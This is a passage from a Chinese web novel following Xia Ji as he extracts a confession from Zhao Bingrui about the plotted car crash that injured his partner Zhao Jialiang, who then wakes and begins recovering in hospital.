为了满足夏荣这部分数量庞大的粉丝,和许多吃瓜路人的好奇心。内娱狗仔们不眠不休的蹲守在周家附近,其专业程度甚至不逊于专业侦察兵。 因此,今天周镇川和夏季出门的时候虽然已经百般小心且乔装打扮了,但他们的一出一进还是被狗仔的高清镜头捕捉的一清二楚。 尤其是夏荣全副武装的口罩墨镜,出门在外的时候几乎从来没有取下来过。但作为圈外人的周镇川就显然没有他这么强的保密意识,只是随便带了个墨镜的他,并不能很好的遮挡住被夏季使出全力所留下的巴掌印子~ 夏季晚上请王今安和邹柔柔吃饭的时候,就接到了麻十一的电话,询问他关于巴掌印子的事情。 “你别解释。现在全世界都知道周镇川和夏荣去找你,然后挨了大嘴巴子回来了。”麻十一一句话就把夏季的所有退路都堵死了,“反正你连微博都没有,谁都不能指望你回应什么。但这个热度兄弟我想要。” “来吧,发表点儿获奖感言,我帮你发出去。满足一下吃瓜群众,顺便给我吸点粉。” 夏季的白眼都快翻到天上去了,他是真烦麻十一这种过于犀利的性子。 “你有病吧?我能有什么获奖感言?”两位女士点菜的功夫,夏季起身去包房外面把麻十一骂了一通。 结果就是他们吃晚饭的时候邹柔柔和王今安的手机推送响个不停,两人只瞟了一眼手机屏幕就有点儿憋不住笑了。 “夏季弟弟,你打人的时候下手还是轻一点哈。不管怎么说,打人毕竟是犯法的~”邹柔柔露出一个礼貌而不失尴尬的笑容,然后把自己的手机往夏季面前推了推,“这个麻十一也是你们的好兄弟吗?我之前看直播节目的时候,说你们三个都是一起从清河村里出来的?” 但麻十一跟王今安和夏季的情况不一样。他是土生土长的农村人,在京市毫无根基人脉。 在王今安和夏季都各回各家,各找各妈之后,无依无靠的麻十一只能当个北漂,狂放不羁的野蛮生长。他能成为说唱歌手,也是机缘巧合,走到今日也算是个好结果了。 “嗯”王今安先是小心的看了夏季一眼,见他没什么反应才低声说,“他啊,早前也追过夏季哦~” 别看麻十一无论是出身背景还是容貌长相都要啥没啥,但偏偏他还有那么一点点自尊心。所以在被夏季婉拒过后,他就跟王今安和夏季渐行渐远。一直到他成功出道,功成名就之前,麻十一都不怎么跟他们联系。 “哦,原来如此”邹柔柔读书的时候也当过一阵子追星女孩儿。说来也是巧了,她之前最喜欢的演员名叫夏荣,最喜欢的歌手名叫麻十一~ 在跟王今安搞到一起去之前,无忧无虑的邹同学也是过着“哥哥好帅,我爱哥哥”的日子。不过在认识了王今安,知晓了这两位明星人后的真实情况后,邹柔柔倒是接受度良好。毕竟她还是分得清生活和上班的区别的。 “啧。”夏季不耐烦的低头瞥了一眼邹柔柔手机上那醒目的标题,“我当初就应该跟麻十一绝交。” 但这时候说绝交什么的也都晚了。 刚刚才一起上过直播谈话类节目的,还有过命的交情,在外人看来,夏季跟麻十一的关系应该是很不错的。因此,麻十一发表在私人账户上的一些言论在旁人眼中就真实性非常高了。 夏季只看了一眼,知道麻十一这人还算实诚并没有夸大其词,但因为喻馨那事儿的热度实在太高。毕竟这位曾经红极一时的影后一直以“德艺双馨”为标榜。在这事儿之前,她曾经一直是内娱撕逼之时被搬出来作为标杆的老前辈。可谁知道就是这样一位德高望重,风评极佳的老前辈塌房的姿势都跟别人不一样。 跟她一笔,之前那些什么TS,PC的小朋友们统统都弱爆了:) 麻十一刚刚在自己的个人账户上就一些网友@他的问题,选择性的做出了回应。 其中最引人注目的就是狗仔曝料的那张:出门前好好的,回来后脸肿了的对比图。 针对这个图片,麻十一非常耿直不嫌事大的回应了:没错,是的,就是你们想象的那样。 他的这个回应里一句没提夏季,却仿佛句句都在cue夏季。 而这就让原本就非常有猜想空间的事情变得愈发扑朔迷离了。但无论是从哪个角度来说,大众普遍认为周镇川这一巴掌挨的活该。毕竟人家夏季在直播节目的时候都说了,他跟赵嘉良是奔着结婚去的情侣关系。 人家你情我愿天作之合的关系轮得到你一个已婚男来横插一脚吗? 夏季早年来京市之后因为喻馨夏荣的关系,养成了封心锁爱不看网络评论的习惯。但现下这种被人怼脸逼着看了之后,不出意外的,他果然非常不爽。 在为两位姐姐买单之后,夏季给林沐阳打了个电话。 林沐阳这几天在赵氏混的还算如鱼得水。但论个人能力他肯定是不能跟赵嘉良相提并论的,但架不住他是夏季一手扶上来的。再加上夏季之前在董事会承诺了只要不搞事,今年还有一批中科院退下来的航天材料专利可以给赵氏使用。 有着这层关系林沐阳在赵氏狐假虎威的很是快乐。 不过他因为知道赵嘉良迟早会回来,所以林沐阳在彻底认知了夏季的能量之后想的也挺美的。他需要在夏季面前好好表现,只期望赵嘉良有朝一日归来,夏季的脚下依然还能有自己小小的一席之地就好。因此,他需要非常在赵嘉良回归之前把自己的价值体现的淋漓尽致~ “林二少,帮我做个事……” 对于夏季主动提出的要求,林沐阳那可是求之不得。 尤其是听说他需要自己去帮忙干坏事儿之后,林二少应的那叫一个爽快。 “刚刚韩彬他们还给我发消息说了热搜的事情要我说啊,这个周镇川就是欠打。” 赵嘉良刚出事的时候,起了花花肠子的人可远不止他一个。但开始的时候除了赵家的那几个,大家大都持观望态度。毕竟夏季明面上还是夏家二少爷,虽然事实上是被赶出家门了,但明面上可从未被夏家除名。 只是大家这才观望了没几天,夏季却主动带人打上了夏家的门不说。这才不到小半个月的时间,整个夏家就这么莫名其妙的易主了。 喻馨和夏荣之前看着挺厉害的样子,结果夏季这好像也没做什么,他们就自己莫名其妙的倒了。至于夏燃他为什么会这么爽快的放手倒是出乎意料。只是有了喻馨和夏荣的前车之鉴后,很多人都猜测他是不是有什么不可告人的把柄在夏季手上。不然就夏氏那样一个庞然大物,这几年又在夏燃的经营下蒸蒸日上。这时候放手,很难不让人多想。 “对了夏季,夏燃那边的人今天联系我了。夏氏的转让书他已经拟好,我交给法务了,确认没有问题的话就会拿给你签字。”林沐阳好心提醒。 “知道了。”夏季的语气依然波澜不惊,仿佛林沐阳所说的只是件无足轻重的小事似的。 在为两位女士结账,并且报销了他们后续逛街购物的费用之后,夏季本来是应该回酒店休息的。 但走到酒店门口,看着阴沉沉的天,他不知怎么又鬼使神差的回到了病房。 这时候的李教授他们已经下班。按照计划,赵嘉良过两天就要转院去医科大附属医院,不用继续在实验病房里24小时监护了。 夏季跟值班的护士打了个招呼,推门进去的时候病房里静悄悄的。 虽然这时候还不到八点,但为了让病人能更好的休息,病房里的灯已经关掉了。 夏季把床头灯打开,果然看到那个家伙睁着眼睛看着一瞬不瞬的盯着自己。 然后夏季就笑了,“我猜就知道你肯定没睡。” 赵嘉良用略微急促的呼吸回应了他的问题。 虽然在旁人看来,男人这种瘫在床上的模样只是一种负担,日后能恢复成什么样就连李教授那种权威泰斗都无法保证。毕竟从最开始夏季跟李教授的约定就是让赵嘉良活下来,醒过来。至于后续能恢复到什么程度,又何尝不是另外一种等待奇迹降临呢? 只是医疗方面的事情夏季不懂,他只是单纯的希望赵嘉良能好起来。 “你躺了这么久,心里应该有很多问题吧?”夏季索性坐到床沿。然后因为嫌位置有点儿小,他还把赵嘉良往旁边拱了拱。“正好我今天也没有别的事情,就给你讲讲故事吧” 从赵嘉良出事,到如今他醒来。满打满算,其实还不到一个月。 好在夏季多年积攒下来的年假完全足够支撑,不然夏季真的要考虑放弃自己从小的梦想,改行当奸商了。 而这一个月不到的时间里,发生的事情说多不多,说少不少。按照夏季的叙事风格,他还是着重讲述了关于赵家的事情,反而很少提及夏家。 “你车祸的事情目前已经查的很清楚了,只不过赵天生有精神病护体,暂时奈何不了他。”赵天生其实在没了舌头之后就有点疯癫了,但还远达不到判定精神分裂的标准。况且,这样一个精密且需要环环相扣的车祸,真正的精神病是无法独立操作做到的。 之后他又详细的讲述了一下这段时间里赵氏发生的事情,以及自己代他做出的决策。 在夏季提到“林沐阳”这个名字的时候,男人的气息有着一瞬间的不稳。不难猜出,之前韩彬等人在他床头蹦迪的时候,肯定没少提起这位十分勇的林二少是怎么明目张胆挖他墙角,然后又被夏季打的很爽的事情~ 不过夏季这些事儿才刚刚说完,他的手机就突兀的响了。 看了一眼来电显示,夏季没有避讳,就在赵嘉良身旁直接按下了接通键。 这通电话是老胡打来的。他那边的行动总是快的超出想象,夏季这边才刚有了个猜想,不到24小时,老胡就能给出答案。 “小夏啊,这次的事情还真让你给猜对了”老胡的语气中带着一丝欣喜,又有些许怅然,“好消息是咱们的队伍中确实没有道德败坏之人,但坏消息是即使我们查到了线索,但还是很难给赵天生顶罪。” “不过,通过赵天生这条线继续查下去的话,我相信赵炳锐那帮人也跑不脱了。” 老胡告诉他,赵天生其实是通过某种国外的特殊药物才通过了精神鉴定。 “但这个药非常非常冷门,是国外某实验室的失败品,甚至那边的实验室官方都没有明确的药效说明。” 之所以如此冷门,是因为这个药的副作用非常大,致死率高达63%! 因此,虽然有些人希望通过药物伪造精神鉴定结果以达到一些不可告人的目的。但对于绝大多数人来说,他们首先得活着才能达到目的。 再加上这个药物在国内没有任何可获取渠道,司法系统中更是没有明确的药效记载,想要用赵天生的服药记录来否定之前的精神鉴定结果还需要时间。不过好在他们可以通过药物获取渠道来串联给赵天生给予相关支持的人员名单。 可赵天生不一样,他就是这样抱着必死的决心,用活着逃脱法律制裁,死了一了百了的心态硬生生的给了赵嘉良一记重创。要不是赵嘉良狗运当头,这种程度的车祸换成一般人恐怕当场就该凉凉了。 一些细节老胡没有说,夏季也没有问。在向老胡道谢之后,夏季挂断电话,叹了口气。 “干嘛用这种眼神看着我?之前我不就提醒过你,斩草要除根吗?如果当初你能听我的,早早的送你亲爱的小弟弟和他好兄弟们团聚,又怎么会有今日的事情呢?” 说着,夏季伸出手轻轻的搭在他的眼上。用给死人抹眼的方式,轻轻的扒拉了两下。 “你就趁这个机会好好休息一段时间吧。”他的声音很轻很温柔,仿佛是用一种哄睡的方式轻柔的说,“那些你不愿做的事情,还是让我来做的。” 自从发起股东会议逼宫失败之后,赵炳锐每天上班都没什么积极性了。 虽然那边的人曾经提出过‘再来一次’的方案,但上次在病房跟夏季接触过后,赵炳锐这才切身体会到了夏季的厉害。别说再来一次了,赵炳锐甚至都想赶紧脱离这些人,老实的在赵氏当吉祥物算了…… “赵总早上好。” 周五的早上,赵炳锐像往常一样去上班。今天早上他的两个眼皮一直跳个不停,搞得他心烦意乱的。 草草跟几个路过的员工“嗯”了两声后,赵炳锐推开自己的办公室大门,却发现里面灯火通明的,显然已经有人先一步来了。 “早上好啊小赵总。”夏季坐在那个原属于赵锋锐的老板椅上,修长的双腿交叠着,背光的身影仿佛有种不真实感。 赵炳锐当时一下没有反应过来,“你你” 他还没“你”出个所以然来,就猝不及防的被人一把拽进了办公室。紧接着,厚重的实木门“嘭”的一声关上了。 第53章 在看清夏季的脸的一瞬间, 赵炳锐仿佛是被戳中了某种隐秘的心思一般,他几乎是条件反射的起身想要逃跑。 阿久被他这猝不及防的动作吓了一跳。不过身经百战的他还是一把拽住了赵炳锐的手臂,也不知他怎么使力的, 下一秒赵炳锐就被他拽的失去平衡, 以一种很狼狈的姿势摔在了地上。 “都是文明人,别这么粗鲁。”夏季垂眸睨了一眼地上的赵炳锐,头也没抬的说。 阿久摸了摸鼻子, 哦了一声。 “你先出去吧,我跟小赵叔叔聊聊。”夏季冲阿久挑了挑下巴,对方点了点头,很快起身离开, 并且还轻手轻脚的帮他们带上了办公室门。 赵炳锐略显狼狈的从地上爬起来,拍了拍裤腿上并不怎么存在的灰, 故作镇定的站起身来。 “你有病吧?一大早上跑到我办公室里来发什么神经?!”赵炳锐色厉内荏的发着脾气。 不过这也实属正常,任谁大清早来上班的就被人又推又拽, 还要面对一个自己如今最不想面对的人都不可能会有好心情的。更何况, 他原本就是心里有鬼, 被夏季打上门来的时候,赵炳锐的第一反应是逃跑也合情合理。 夏季只觉得有些好笑,“这么大反应做什么?这不是公司的办公室吗?公司财产, 我身为阿良的唯一指定代理人,整个赵氏哪儿我不能去呢?” 这么说着, 他更是指了指一旁用来接待客人的真皮沙发, “还傻站着干什么?坐啊。” 赵炳锐的面色一阵青一阵白,显然是对夏季这反客为主的态度十分不满。但夏季似乎就是很喜欢看他这种看自己不爽但又干不掉自己的憋屈感,甚至在赵炳锐恨恨的在沙发上落座后轻笑了两声。 “日理万机的夏二少爷一大早上不去探望你的情郎,不去收拾你夏家的资产, 跑到我这个小老头的办公室来干什么?”赵炳锐语气不怎么好的说。 夏季一手支着下巴,一手随意的翻了翻他办公桌上散落的文件。 也不知是不是赵家传统,赵炳锐的办公桌整洁程度跟赵嘉良相比也是不遑多让,都是真实的可怕。 “我确实挺忙的,但事有轻重缓急,我觉得当务之急,来跟您聊聊是最重要的……” 他的回答对于赵炳锐来说可以说是怕什么来什么,赵炳锐双手搭在腿上,掌心的汗渍却已经把做工精良的西装裤蹭出个印子了。 “你找我能有什么要紧事” 夏季站起身,缓步走到他的身前。虽然面上依旧带着习惯性的温柔到有些美丽的笑容,只是他那双漂亮的桃花眼明明是在笑着,却莫名会给人一种杀气满满的压迫感。 “你你这是什么意思?”心里有鬼的男人有些慌张的向后仰,但在触及沙发靠背后随即又坐直了身子,却并不敢与夏季视线交叠。 “别紧张,只是想跟你谈谈。”夏季是真的被他的反应逗笑了,随即心中却又觉得有些悲凉。 看,就是这么一个软弱卑劣,愚蠢懦弱的男人,竟然差点毁了自己的完美人生。 “能给自己唯一的亲儿子吃致死率超过60%的致幻药物我真挺好奇你当时心里是怎么想的。” 可是当夏季真的摊牌来说的时候,赵炳锐反而更紧张了。他磕磕巴巴的试图辩解,“我,我不知道你在说什么。” “不用这么紧张,这个房间里只有我们两个人。而且你放心,我也没有在暗地里弄什么录音录像设备。”夏季站在沙发旁边,一手撑着沙发靠背,微微躬身,“我只是单纯的想跟你聊聊,懂?” 豆大的汗水从赵炳锐的鬓边滑落,他用力的吞咽着口水,仿佛夏季即将跟他开展的不是一段推心置腹的对话,而是某种刑讯逼供的前兆。 “当初既然选择了这条路,那你就应该想到了一旦失败的后果吧?”夏季的声音仿佛是吐着信子的毒蛇一般,让男人心底最深处的恐惧全部当场暴露。 “别急着否认,我既然今天来找你说了,那就是全都知道了。现在我给你两条路,要么继续负隅顽抗死不认账,等着过几天被带走调查清算。要么,把你知道的事情全部说出来,我保证留你一条命。” “赵小叔,你选吧。” 不得不说夏季对赵炳锐的认知是中肯的,客观的。 在几经心理斗争后,赵炳锐强撑着的腰杆子终于是弯了。他面色颓丧,有些自暴自弃的说,“你不是都知道了吗?何必还要来问我?” “那自然是有些细节需要你的帮助”夏季索性坐到了他的对面,皮笑肉不笑道,“就比如阿良的那场车祸。不管是赵天生或是你,都不可能是主谋。你们没有那个能力找到那种亡命之徒,弄出这种阵仗。” 赵炳锐咬了咬牙,问,“那天生他他怎么办?” 他这没头没脑的问题,夏季听懂了。 “很遗憾,我既不是法律专业人士也不是精神鉴定的专业人士,关于他会如何只能交给法律作出公平公正的判决。”虽然夏季给不出赵炳锐所期盼的答案,但对方既然会这么问,那就是动摇了。 夏季有把握今天就能拿到自己想要的答案,更何况他手里还有一道底牌。 见赵炳锐还在迟疑,夏季返回办公桌方向,拿出一张鉴定报告递给他,“喏,看看吧。” 赵炳锐一脸狐疑的接过来,只看了一眼便目眦欲裂,“不可能!这不可能!这个鉴定报告一定是假的!天生他他” 男人原本高昂的声音到了后半截却越来越小,越来越不自信了。 夏季饶有兴味的歪了歪头,笑眯眯的说,“有什么不可能的?一个给有妇之夫当小三的女人,你觉得她的品格能有多高尚?” “可是天生他”夏季拿给赵锋锐的,正是赵天生的和赵锋锐的亲子鉴定报告。 而且是两份。一份是赵嘉良当初跟亲爹夺权时找赵锋锐小辫子时私下做的亲子鉴定,另外一份,是夏季前些日子把赵锋锐和赵天生一起全部打包送回精神病院时顺手在权威机构拿到的亲子鉴定报告。 而很显然,赵炳锐在此之前并未见过这个东西。甚至,他都未曾怀疑过。 “她曾跟我说过,天生是我的儿子。”赵炳锐跟赵锋锐的年纪只差了一岁。他俩都是联姻半入赘,只是赵炳锐的妻子娘家虽然显赫,却更为精明。赵炳锐从妻子娘家那边获得的助力远不如赵锋锐从余霜那儿得到的,所以最后赵锋锐继承赵氏也就顺理成章。也正是因此,赵炳锐对妻子颇有怨言。再加上赵锋锐跟余霜生了个儿子,而他老婆只生了个闺女就从此封肚不生了。赵炳锐跟她超过闹过,却无济于事。 “我从小到大,无论读书还是做事我都比赵锋锐强。本来我一直处处压他一头,可自从结婚之后,我跟大哥的差距就越来越大了。” 赵家在这兄弟俩联姻之前只是京圈豪门最末流的暴发户,赵氏能有今天,只能说赵家这兄弟俩的脸确实长得不错。 就连夏季都不得不承认,赵嘉良但凡稍微再长得不那么英俊一点点,自己都不可能屈尊降贵的便宜了他。虽然赵嘉良的长相偏像母亲更多些,但不得不说赵家的轮廓基因或多或少的也在赵嘉良的脸上有所体现。具体的体现方式,在他车祸昏睡时,日渐消瘦的脸颊上就特外明显。甚至王今安有时候为了缓和气氛,还会时不时的玩笑两句,说赵狗安静躺着的时候还确实有点儿传统帅哥的范儿。 而赵锋锐和赵炳锐这两兄弟当年也正是凭借着不俗的长相让赵家实现了阶级飞跃。 只是他们两个的老婆虽然对赵家各自出力程度不同,导致了赵家最后的权柄落在了赵锋锐手中。但不得不说的是,这两个赵太太对待帅哥的态度不同,也造就了他们日后各自不同的人生。 恋爱脑晚期甚至遗传了儿子的余霜女士在丈夫一朝得势之后就陷入了没完没了的斗小三生活,只可惜那位三姐不是个省油的灯,赵锋锐又有意偏袒,这才有了赵嘉良的三个异母弟弟。而赵炳锐那位从政世家出身的,位高权重的妻子则厉害的多。虽然一直到现在他们都没有离婚,但据说两人已经分居十几年了,每年也就逢年过节才见个面。 在这样的环境背景下,赵炳锐对大哥的生活逐渐产生了一种病态的艳羡。 明明他的各方面硬件条件都不比赵锋锐差,可偏偏赵锋锐却有两个情深义重的女人为他争风吃醋,为他冲锋陷阵,甚至还将他推上了一个并不应该属于他的高位!这让赵炳锐无法释怀。 仅仅一个开场白,夏季就明白了很多事情。但他对这位大叔的爱恨情仇并无多少兴趣,“繁殖癌的男人我见多了,你想要个儿子但你老婆不肯跟你生,所以找了个公用女人这是你的选择。毕竟这种事情你情我愿的又不犯法。” “我没兴趣聆听您的往事,请讲重点。是谁,在什么时间,通过什么方式找到你们安排车祸的?” 第54章 赵炳锐一脸颓色, 在夏季的咄咄逼人的语气下,他再次确认是否自己说出所知的所有事情对方能够保证赵嘉良会放自己一马。 “放心吧,虽然赵锋锐的三个儿子跟阿良斗的死的死残的残, 但赵嘉良可从来不是法外狂徒。你如果是害怕他醒来后知晓真相找人来创亖你, 那你真的大可放心。我可以向你保证,他不会这么做的……”夏季冲他微微一笑。 可能是长得好看的人总是格外容易让人生出信任,又或许是赵炳锐的心中下意识的希望夏季的承诺就是自己所理解的那种。他最后还是选择了相信了自己想相信的那一部分, 于是便有了接下来的这段对话。 “那些人没有联系我,他们联系的是天生。”赵炳锐决心把这些说出来的时候,整个人仿佛老了二十岁,“自从赵锋锐被赵嘉良拉下台之后, 他们家可以说是妻离子散,好不凄惨。” 赵炳锐的这个形容词夏季很不喜欢。他轻嗤一声, “什么的妻离子散,他们有结婚证吗?一个小三和一群婚外情的产物还真把真把自己当个人物了。” 赵炳锐苦笑两声, “站在旁人的立场上当然这么觉得。可我那个大哥从小就自诩真爱无敌, 他既舍不得余霜家里的万贯家财, 又割舍不下青梅竹马的纯情白月光。可这世界上怎么可能什么好事都给他占了呢?就是余霜那样的恋爱脑发起威来也不是他那种草包招架的住的。” 毕竟是靠老婆发家的男人,赵锋锐就算成了赵家家主,也永远摆脱不了“赘婿”的名号。可人总是越缺什么, 就越爱显摆什么。 赵锋锐在余霜身上得不到的东西,却能轻而易举的从白月光身上得到, 这让他很快就沉溺在了温柔乡中, 并且在羽翼丰满之后跟余霜打起了擂。可一个家的衰败往往就是从夫妻不齐心开始的。 “天生这孩子是家里的老幺,从小就被捧在手心娇生惯养,不知人间疾苦。他被长辈和哥哥们宠坏了,家里突遭变故之后他备受打击, 性格爱好都变了很多。”说起这个孩子,赵炳锐的心情很复杂,“我也不知他是什么时候,以何种方式认识那些人的。只是天生把人带到我面前的时候,车祸都已经发生了!” 刚得知赵天生都做了些什么的时候,赵炳锐是震惊的。他很清楚这是刀尖舔血,是要掉脑袋的大事! 可在进一步接触之后,意识到赵嘉良的出事会为自己带来什么后他也曾狂喜一阵。随后的包庇赵天生,赶走夏季,就理所当然了。 所以他会沦落到此番处境,赵炳锐其实心里早有预感。只是他没有想到的是,东窗事发的日子竟会到来的这么快!甚至他更没有想到的是,第一个来找他摊牌的,竟会是之前自己从未正眼看过的那只金丝雀?! 不过如今赵炳锐跟很多人一样都不得不承认的是,对于夏季,不是他们看走眼了,而是赵嘉良和喻馨他们出于各自的目的,都把真实的夏季掩藏的太好了!让人根本无从得知这人的真正能力。 至于后面的事情就跟夏季猜想的大差不差。 因为赵嘉良夺权导致赵天生“家破人亡”的事情,赵天生在受到巨大打击之后性情大变。赵炳锐心疼自己这所谓的“独子”对他百般纵容疼爱,以至于赵天生手上闲钱不少,自然就整出了些幺蛾子。 这就使得他很快被有心之人盯上,在协助复刻了林教授同款车祸后,赵炳锐知道赵嘉良的亲信们一定会将此事追究到底。而那些策划者们远在国外,他为了让“儿子”能够逃脱法律的惩罚,接受了策划者们的建议,给赵天生服用了那款据说是:能够稳定通过精神鉴定的外国特效药。 “我也是最近才知道这个药在国外因为致死率过高而没有通过药检,当时我真是心有余悸!”要知道在刚刚进门见到夏季的时候,赵炳锐满脑子想的还是如何保住赵天生。但现在他咬牙切齿的,心里想的却是当初怎么没吃死赵天生一了百了!否则,现下自己也不会面临这种难堪的处境了! 夏季若有所思的点点头,“听说你在国外设立了一个信托基金,受益人是赵天生?” 这下赵炳锐的面色更难看了。 被一个知三当三的女人骗的团团转,搞得自己跟出身高贵的妻子离心,亲生女儿对自己无视。一腔热血的付出全部成了笑话人到中年,这样的打击足够让赵炳锐气血上涌,吐血三升了。 但更让他恐惧的是,这个信托已经是他为自己和赵天生所设立的最后退路。可令人绝望的是,连这个信托都被夏季知道了,这也基本说明他的退路已经断了。赵炳锐这时候已然后悔,当初董事会逼宫失败的时候他就应该明白,赵嘉良如今的辉煌是有夏季一半功劳的!若是当初他能再自私一点,不管赵天生的死活,那他这时候早该在美丽国吹着自由的海风,享受自由的新生活了! “夏季,我知道站在你的角度来看,我做的一些事情罪无可赦,但我最多也就是个知情不报而已。我一直以为天生是我的亲儿子,身为父亲,我没办法不管他啊!”赵炳锐忽然伸手拽住夏季的手臂,目光哀求,仿佛一个真正的心怀拳拳爱子之心的老父亲一般。 只是他这佛口蛇心的说辞除了引人发笑之外,毫无作用。 但好心的夏季还是拍了拍他的手背,微笑道,“我懂,我已经全都懂了。” 交代完毕之后,差不多就是讨价还价时间了。 赵炳锐本以为夏季这种被赵嘉良娇宠着的家伙,理应是个软和性子。可当他真跟夏季谈起后续问题时,却发现这家伙竟跟赵嘉良是一脉相承的软硬不吃,心硬如铁。 “亲爱的小赵叔叔,您是鱼吗?刚刚我向您承诺的明明是保您一条命啊,您怎么还得寸进尺上了?”夏季依然是那副笑的漂漂亮亮的无害模样,“不过为了感谢您的配合,稍后我会有一份礼物送给您。” 赵炳锐一脸狐疑,“什么礼物?” 他可不认为夏季会那么好心的给自己送东西。 可夏季却是率先站起身结束了对话,“感谢您内心独白的谢礼罢了,不用感谢我。” 说着他对赵炳锐作了个“请”的手势,“从现在开始,这间办公室不再属于您,接下来会有相应人员带您前往您应属的位置。” 赵炳锐骂骂咧咧的起身往外走去。他本以为夏季这番话不过是敷衍自己,可谁知当他推开办公室门的时候,门外已经站了一圈制服警察。 当那双18k玫瑰金手镯套上双手的时候,赵炳锐先是怔愣了两秒,随后才破口大骂! “夏季!你这个臭婊子!你刚刚可不是这么说的!你们这是钓鱼执法!” 跟在他身后走到办公室门口的夏季一边把自己别在后腰的收音器和小型录像装置扯下来,随手塞给一旁的办案人员。 “我承诺了会保你一命的,这不是现在就兑现了嘛。我查过了,根据我国法律,只要自首就基本上不会判死刑,所以你可以放心的去了。对了,赵天生那边我也找了专业的精神科医生来治疗,想来他很快就能恢复神志。不过我想你对他未来会如何应该不感兴趣了,那我就不跟你解释了。” 工作日的早晨,即使前来实施抓捕的民警已经疏散了无关人员。但赵炳锐咆哮的大嗓门还是难免让周遭的赵氏员工听得一清二楚,于是几乎是在当时,赵氏总裁赵嘉良车祸凶手之一落网的消息就登上了本地新闻头条。 赵嘉良本身只是个富商,又没到富可敌国程度,本身名气并不高。当初他车祸被创成植物人的时候,若不是有些吃瓜群众喜欢的豪门恩怨加成,恐怕都没多少舆论水花。如今这个案件进展能登上头条,说到底其实沾的喻馨的光。 【有钱人的世界果然是我等屁民难以想象的可怕啊~前有夏家亲妈为真爱杀夫杀子,后有私生子为谋夺家产不惜勾结境外势力当卖国贼企图创亖正室嫡子。】 【以前看多了喻馨买的通稿水军信息,以为赵总是个贪图美色为富不仁的奸商,以为夏季就是个抱有钱人大腿的废物。我现在才知道原来夏季是X省高考状元,科学院博士后。而赵总每年给科学院投的钱已经多到境外势力要买他命了】 【赵总真是挣得多捐的也多啊~刚刚去看了眼科学院的官方消息,原来赵总跟科学院还有这种捐赠合同啊。不过话说回来,赵嘉良这也算爱国商人了吧?这种大财主有关部门不说把他供起来,起码也得保证人家的人身安全吧。不然这样搞下来,以后谁还敢为国家科学发展出钱出力啊。】 对于这次的舆论热度,麻十一也是凑上去蹭了一下的。不过他这次是“奉旨”蹭热度,因为夏季没有社交账号并且也不准备注册账号,所以借了他那个有些热度的个人主页发了一个近五年来的赵嘉良个人捐赠明细。然后舆论果然爆炸了。 相比于夏荣那种搞公益,靠着大量宣传而获得了大量关注的慈善基金不同的是。赵嘉良这些年的所有捐赠都是默默无闻的,甚至在此事之前,连京圈内部的很多消息灵通认识都不知道赵嘉良竟然捐了这么多钱! 当然,不和谐的声音也是有一点的。有人说赵嘉良名下的赵氏有很多高新材料专利技术,都是科学院优先给予的,这说明赵嘉良也是通过这种捐赠获利了的。 但明眼人只要稍稍算笔账就能发现,赵氏通过科学院的专利技术所获得的盈利相比于他的付出,只能勉强达到付出的一半。毕竟为了技术推广,这些专利并不会永久属于赵氏。根据国家对科学院的利民技术原则,赵氏的专利技术使用权只有三年有效期而已。 而与此同时,王院士那边传来的好消息。今年夏季的师兄师姐们在招生方面明显比往年好了很多。从之前的无人问津到现在的招满,仅仅只用了夏季上一次内娱综艺的功夫。 这虽然是个好消息,却还是让夏季心里不痛快了大半天。 他总觉得现在的这个社会情况畸形奇怪,可身为这个社会中渺小一份子的自己却又无力改变什么。 毕竟他们这种搞纯科研的人大都是寒窗苦读二十年,归来依旧两袖清风。一般没点儿家底的,或者有就业压力的同学还真很少报考他们这种冷门专业。夏季起初十分不明白,自己无论是学历还是个人能力相比夏荣来说都是绰绰有余的。可真进入社会之后,夏荣这种顶流明星一年轻松入手几十个小目标。而夏季这边别说他自己了,就连王老那种赫赫有名的大科学家一年在京市整套房都吃力~ 回去的路上,阿久一边开车一边小心翼翼的看着后座上莫名生闷气的夏先生,欲言又止。 “看什么看?有话直说。”夏季本就因为这些事情心情烦闷,被阿久这狗狗祟祟的眼神看了半天他更是心情差的想骂人了。 不过毕竟是自己人,夏季决定先憋着,把不爽的情绪倾泻到某些理应承受的那些人身上去。 被当场逮捕的阿久讪讪的摸了摸鼻子,“我听说赵总醒了?” 身为赵嘉良最忠心的狗腿子,阿久虽然现在对夏季也忠心耿耿,但打从心底来讲他当然还是更愿意跟着自己真正的主人做事的。 “能睁眼了,但也就眼皮能动。”夏季没好气的说,“明天赵嘉良转院,你这么关心就亲自去盯着吧!” 大概是麻十一那边把捐赠清单发出去之后的网络声音太大了,迫于压力,这次赵嘉良转院上面竟然都派了老胡来亲自护送。这份体面,放在当下也是没谁了。但让夏季感到更为惊喜的是,当他处理完赵家的事情回到实验病房这边的时候,还没走到病房门口他就听到了那边传来的熟悉男声。 赵嘉良特有的欠揍语气让夏季不禁加快步伐。 等他走到病房门口的时候,果不其然的看到了某个熟悉的背影。 第55章 此时夏季还无法分辨病房里的赵嘉良正在说些什么, 就好像是一种间歇性耳鸣一样。男人熟悉低沉的嗓音带着他特有的痞气语调,即使不用上前确认,夏季就能确定此时此刻正在跟今安姐说话的那人必是赵嘉良无疑了! “诶, 夏季你回来了?快进来啊!”王今安刚刚还在为赵狗的无理取闹小发雷霆了一下。正当她准备好好教训教训这个不听话的病患时, 却眼尖的看到了病房门口的那人,“suprise!你家赵狗不仅醒了,还能坐起来咯!” 夏季惊疑不定的上前两步, 正好同努力僵硬转身的赵嘉良目光同频。在那一瞬间,无数千言万语只肖一个眼神便以胜却无数,这话在现实中具象化了。 “阿良?”夏季在床前站定,神色复杂的望着那人, 仿佛是在确认着什么。 而他对面男人笑的非常僵硬且难看,“抱歉宝贝, 让你久等了。” 一旁的王今安本来还想好好欣赏一下这对小情侣的大难之后要如何互诉衷肠,结果夏季上来就是一句, “你能起身了?你这是什么表情, 摆幅臭脸给谁看呢?” 半个小时后, 被王今安弄去做详细身体检查的赵嘉良坐在轮椅上被推了回来。 王今安有些无语的用胳膊肘捅了一下躲得老远的弟弟,“你什么毛病啊?之前为了赵狗车祸喊打喊杀的,恨不得去刨赵家祖坟了。怎么现在赵嘉良醒了你反而不想搭理他了?” 天知道刚刚夏季说出那番不满的话语之后, 赵嘉良反应剧烈的差点儿当场厥过去。这可把王今安给吓坏了~她无奈的跟夏季解释了半天,表示面瘫是植物人苏醒后经常出现的正常后遗症, 后续需要积极治疗看是否有完全恢复的可能性。而赵嘉良因为长期卧床, 身体肌肉和神经功能尚未完全恢复,后期的复健也是个漫长的过程,需要家属耐心陪伴。 但夏季显然不是个有耐心的人,但毕竟是自己选的男朋友, 就是死了瘫了他也只能捏着鼻子认了。 